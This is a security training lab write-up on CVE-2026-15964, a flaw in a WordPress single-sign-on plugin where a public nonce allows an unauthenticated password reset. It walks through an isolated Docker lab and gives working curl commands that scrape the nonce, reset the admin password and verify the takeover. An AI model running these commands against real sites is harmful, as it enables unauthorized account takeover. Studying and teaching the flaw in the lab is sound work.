Labs

CVE-2026-15964: Single Sign On For TNG Account Takeover

Docker lab Account Takeover

Updated August 3, 2026 · Written by PWNMI — see About.

WordPress's nonce system exists specifically to stop this class of bug: a per-user, time-limited token an attacker can't predict or reuse across sessions. Single Sign On For TNG, a WordPress plugin that bridges WordPress accounts with a separate genealogy-site backend, computes that nonce correctly — and then hands it to every visitor who was never supposed to have it, turning WordPress's own anti-CSRF mechanism into the thing that makes the attack possible.

This lab uses a public proof-of-concept and a real vulnerable version of the plugin, running fully isolated with no ports exposed beyond the Docker host itself. Affects Single Sign On For TNG 1.0.0 through 2.0.0, fixed in 2.1.0. Original research and PoC: Instructor-Admin/CVE-2026-15964-PoC.

What you'll practice: reading a WordPress AJAX handler to tell the difference between "requires a nonce" and "requires a nonce that means anything," scraping a value out of rendered HTML to weaponize it, and proving a takeover is real by logging in from a fresh session rather than trusting a JSON success flag.

Set up the lab

New to Docker or git, or unsure what the commands below are actually doing? See Docker for Security Labs and Git for Security Work first.

Get the lab files from pwnmihq/resources, including the plugin zip itself — bundled directly so this lab needs no external download:

git clone --filter=blob:none --sparse https://github.com/pwnmihq/resources
cd resources
git sparse-checkout set cve-labs/CVE-2026-15964
cd cve-labs/CVE-2026-15964
docker compose up -d

This brings up MariaDB, WordPress, and a one-shot wpcli container that installs WordPress and activates the plugin. Wait for it to finish:

until [ "$(docker inspect $(docker compose ps -qa wpcli) --format '{{.State.Status}}')" = "exited" ]; do sleep 2; done
docker compose logs wpcli

No ports are published — reach WordPress on its own address:

WP_IP=$(docker inspect $(docker compose ps -q wordpress) --format '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}')

Understanding the vulnerability

The plugin registers ssoprocess_ajax() twice — once as wp_ajax_ssoprocess_ajax for logged-in users, and once as wp_ajax_nopriv_ssoprocess_ajax for anonymous ones. Both hooks point at the exact same function, and that function has an operation=setnewpassword branch that calls straight into WordPress core's reset_password() — no ownership token, no email-confirmation link, no capability check of any kind gates that branch. Whatever caller reaches it with a valid email parameter gets to set that account's password.

The one thing standing between "anonymous visitor" and "arbitrary password reset" is check_ajax_referer('ssoajaxnonce', 'nonce'). A nonce check sounds like it should stop this cold — nonces are WordPress's standard defense against exactly this kind of forged request. But WordPress computes a nonce from the current user's ID and session token, and for every logged-out visitor those are the same fixed values: uid 0, empty token. There's no per-visitor secret to steal, because there isn't one — every anonymous visitor is handed the identical nonce, and the plugin prints it straight into the page's JavaScript via wp_localize_script() as SSOPWDREQUIREMENT.nonce, for its own legitimate front-end code to use. An attacker doesn't need to intercept or brute-force anything; the "secret" is sitting in the page source of a request any browser would make.

Put together, the check verifies a value that carries no information about who's asking, which is functionally the same as not checking anything at all.

Exploitation

Pull the nonce straight out of the homepage's rendered HTML — the same value the plugin's own front-end JavaScript uses:

curl -s "http://$WP_IP/" -o /tmp/homepage.html
NONCE=$(grep -oP 'SSOPWDREQUIREMENT\s*=\s*\{.*?"nonce"\s*:\s*"\K[0-9a-f]{10}' /tmp/homepage.html)
echo "$NONCE"

Send the reset request, unauthenticated, targeting the admin account's email with an attacker-chosen password:

curl -s -X POST "http://$WP_IP/wp-admin/admin-ajax.php" \
  -d "action=ssoprocess_ajax&nonce=${NONCE}&operation=setnewpassword&email=admin@example.com&password=Pwned1234Owned!"

A {"success":true,"data":{"success":true}} response is encouraging, but a JSON flag alone doesn't prove the account changed — confirm it two different ways. First, the original password no longer works:

curl -sD - -o /dev/null -X POST "http://$WP_IP/wp-login.php" \
  --data-urlencode "log=admin" --data-urlencode "pwd=OriginalPassw0rd!" \
  --data-urlencode "wp-submit=Log In" --data-urlencode "testcookie=1" | grep -i set-cookie

No wordpress_logged_in_* cookie comes back — just the harmless test cookie WordPress always sets. Then, from a completely fresh cookie jar, the new password does work:

curl -s -c /tmp/cookies.txt -o /dev/null -X POST "http://$WP_IP/wp-login.php" \
  --data-urlencode "log=admin" --data-urlencode "pwd=Pwned1234Owned!" \
  --data-urlencode "wp-submit=Log In" --data-urlencode "testcookie=1"
curl -s -b /tmp/cookies.txt "http://$WP_IP/wp-admin/" | grep -oE "<title>[^<]*</title>|Howdy, *[A-Za-z]*"

A full Dashboard title and a Howdy, admin greeting from a brand-new session — reached with credentials this request set, not reused from the exploit — is the real proof. That's a complete, unauthenticated site takeover: no prior access, no credentials, no valid nonce in any meaningful sense.

Cleanup

This one isn't fully reversible, and it's worth being direct about that rather than treating docker compose down -v as if it undoes anything on a real target. The exploit overwrites the account's password hash in place — the original password only ever existed as a one-way bcrypt hash, and that hash is gone the moment reset_password() runs. There's no request that puts it back. On a real engagement this is the same category of decision the FreeScout account-takeover lab walks through: "can I demonstrate this" and "can I demonstrate this against a real user's live account, knowing the original credential can't be recovered" are different questions, and only the client can sign off on the second one.

What you can do afterward is restore the account through a legitimate channel — a normal password reset via the site's own recovery flow, not another exploit request — and document which account was touched and when, so the client's team has what they need to close the finding out even though the original credential itself is unrecoverable.

Tear the lab down when you're done:

docker compose down -v

Lessons worth keeping

  • A nonce check is only as strong as the identity it's tied to. check_ajax_referer() passing doesn't mean "this request is legitimate" — it means "this request carries a value WordPress expects for this session." For an anonymous session, that value is the same for everyone, so the check verifies nothing about who's actually asking.
  • Registering the same handler for both wp_ajax_ and wp_ajax_nopriv_ needs its own authorization logic inside the handler. WordPress's hook naming tells you whether a request can reach the function, not what that function is allowed to do once it's there — those are separate decisions the code has to make explicitly.
  • A "success" JSON response is a claim, not proof. The only things that actually confirmed this exploit worked were an independent login attempt with the old password failing and a fresh session with the new password reaching an authenticated-only page. Verify impact at the layer that matters, not the layer the exploit itself controls.

Next step

Taking over an existing account is a persistence technique in its own right — for the broader discipline of tracking and being able to revert exactly what an engagement touches, see Maintaining Access and Persistence. For more real CVEs reproduced the same way, see CVE-2026-53595 (FreeScout) and CVE-2026-63030 (WordPress Core).